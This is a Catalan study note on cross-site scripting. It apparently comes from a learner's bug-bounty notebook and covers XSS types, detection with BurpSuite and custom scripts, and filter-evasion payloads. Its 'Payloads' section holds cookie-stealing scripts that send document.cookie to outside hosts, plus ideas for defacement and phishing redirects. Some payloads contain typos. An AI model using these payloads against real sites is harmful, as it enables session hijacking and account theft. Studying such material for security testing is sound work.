Cross Site Script (XSS)

Table of Contents

1 Introducció a XSS

1.1 Reflected XSS

1.2 Stored XSS

1.3 DOM-based XSS

1.4 Post based XSS

A formularis. Com que les dades a enviar no estàn contingudes a la URL, caldrà per a realitzar un atac contra un usuari utilitzar un vector de CSRF.

1.5 XSS Through File Uploading

Si pujem un arxiu i d'alguna manera queda reflectit (la ruta, el nom, el contingut, etc…).

2 Com detectar la vulnerabilitat

2.1 Procediment

2.1.1 Detectar end points

Els end points poden pendre diverses formes, les més comunes:

  • Formularis.
  • Paràmetres a la URL (GET).
  • Paràmetres en petició POST.

Alguns llocs típics:

  • Formularis de contacte.
  • Barres de cerca.
  • Comentaris.
  • Fòrums.
  • Formularis de registre.
  • Pàgines de login.

2.1.2 Injecció de codi

Un cop localitzar els end points cal veure com reaccionen al entrar una dada. Per fer-ho introduïrem un valor fàcilment reconeixible dins del codi de resposta que tornarà la web, per exemple podem introduïr el valor "hackingit".

2.1.3 Anàlisis del codi font de resposta

Per finalitzar hem d'analitzar com retorna el valor entrat, en el cas anterior "hackingit", i per fer-ho analitzarem el codi font de la web de resposta ja que pot ser que el valor introduït no es visualitzi directament a la web però si que estigui contingut en el seu codi.

Un exemple de Reflected XSS que no apareix a la web però si al codi font i continua sent vulnerable el podem trobar aquí.

Un cop veiem quina estructura HTML conté el nostre valor introduït podrem estructurar un codi javascript per executar un atac XSS en aquest end point.

2.2 Automatització

2.2.1 BurpSuite

  1. Activar el Proxy de Burp Suite.
  2. Accedir a la web.
  3. Afegir la web als targets.
  4. Enviar el target a spider.
  5. Ordenar resultats per columna paràmetres.
  6. Per cara URL amb paràmetres, enviar-la a repeater per veure si es reflecteix i després a intruder substituïnt el paràmetre amb un fitxer d'exploits i a partir d'aquí analitzar les respostes, per el seu tamany per exemple.

2.2.2 XSStrike

2.2.3 Script Python propis

He desenvolupat varis scripts de Python, separats per poder-los reutilitzar i integrar amb interlace.

edFinder.py
Cercar paràmetres a les URLs, de forma que troba end points. Caldria que també trobés paràmetres al cos de la petició.
XSSreflected.py
Per cada paràmetre de cada URL envia una petició amb una "marca", posteriorment verifica si aquesta marca apareix al cos HTML de la resposta. D'aquesta forma es troben pàgines web candidates a ser vulnerables per XSS.
XSSFinder.py
Per cada URL amb paràmetre marcat (encadenant amb XSSreflected.py) prova un llistat de payload i verifica si en la resposta s'ha obert un popup. D'aquesta forma verifiquem si és realment vulnerable. Funciona correctament però és molt i molt lent.

2.2.4 Interlace

Programa escrit amb GO que permet mitjançant un arxiu configurable, establir un seguit de programes a llançar i quines parts han de ser concurrents. D'aquesta forma permet automatitzar varies eines, per exemple llistar subdominis, després fer crawler, a partir d'aquí detectar end points, després llançar bateria de test de SQLi, XSS, etc. Aquí hi ha el projecte de GitHub.

3 Exploits

Podem trobar arxius amb llistat d'exploits per testejar atacs XSS.

3.1 <script>alert(1)</script>

Aquest és l/exploit base, que tan sols funcionarà en llocs on no hi hagi cap mena de protecció. Es pot utilitzar per fer una verificació inicial i si no funciona cal mirar el codi HTML de resposta i analitzar-ho.

A partir d'aquests anàlisis veurem el tipus de protecció contra XSS que s'ha implementat i caldrà utilitzar un altre vector d'exploit per a sortejar les mesures de seguretat implementades.

3.2 <svg onload=altert(1)>

Molt utilitzat quan l'entrada o valor es reflecteix com a text pla (etiquetes <p>, per exemple), filtrat o no. Podem veure aixó si entren un caracter HTML Encoded i el veiem com a codificació i no com a caràcter.

<svg onload=alert(1);

ATENCIÓ: Hi ha un salt de línia (enter) després del alert(1);

3.3 onmouseover="alert(1)"

Aques tipus de exploit s'utilitza en els casos on s'està filtrant i fent desapareixer caràcters com "<", "/", etc…

És a dir:

Exploit introduït: <script>alert(1)</script>
Codi retornat: script>alert(1)script>

També utilitzat com no podem introduïr valors "fora d'una etiqueta". Per exemple:

Exploit introduït: hackingit
Codi retornat: <input title="hackingit" value="" type="text">

Si en el valor introduït queda dins d'un element HTML (una caixa, un div, un títol, etc) podem introduïr el exploit com una propietat d'aquesta etiqueta.

Aquest és un lloc on es pot practicar aquest tipus d'exploit.

3.4 Als parametres de la petició

Per exemple, a la capçalera de la petició GET podem aferi el paràmetre Referer.

Referer: <scrip>alert(1)</script>

3.5 HTML Encode

Si una web està filtrant algúns caràcters, podem intentar codificar-los en HTML Encode.

Una web on podem trobar el codis HTML Encode és aquesta.

Per exemple, el caràcter ( quedarà codificat com &#40;

Aquest és un lloc on practicar-ho.

4 Payloads

4.1 Idees

4.1.1 Robatori de cookies

<script>document.location.href="http://atacant.cat/?robatori="+codument.cookie</script>

<script>document.write('<img src="http://alquimiabinaria.cat/?cookie='+document.cookie+'" style="display: none;"/>')</script>

Exemple email DOM

prova 2
<script>
var url = "http://alquimiabinaria.cat/?galeta="+document.cookie;
var img = new Image();
img.src = url;
document.body.appendChild(img);</script>
...

4.1.2 Keylogger

4.1.3 Phishing

4.1.4 Deface

Incloure un iframe amb 100% de tamany i d'aquesta manera substituïr la web original.

4.1.5 Redirecció URL

La idea és que dins l'enllaç legitim, en carregar la web, et redirigeix automàticament a una web atacant, que podría simular l'original.

5 CookBook

6 Defenses

Si la web retorna caràcters HTML Encoded, aleshores no podrem injectar el XSS.

7 Wargames

8 Glossari

end points
Punts de l'aplicació, en aquest cas web, on l'usuari pot introduïr informació i per tant influenciar en el flux de l'aplicació.
HTML Encoded
exploit
payload
wargames
CSRF
Cross Site Request Forgery

9 Fonts d'informació

  • OWASP: XSS Attack.
  • Medium : @kenanistaken - How to find and exploit XSS?
  • Udemy : BugBounty Hunting - Offensive Approach to Hunt Bugs.

10 Meta

10.1 Temps dedicat

10.2 [1/3] Tasques pendents

  • [ ] Passar corrector.
  • [ ] Llista d'exploits.
  • [X] Com automatitzar el procés.

10.3 Idees de millora

Date: 2020-06-25 dj. 00:00

Author: Raul Gimenez Herrada

Created: 2020-07-15 dc. 12:29

Validate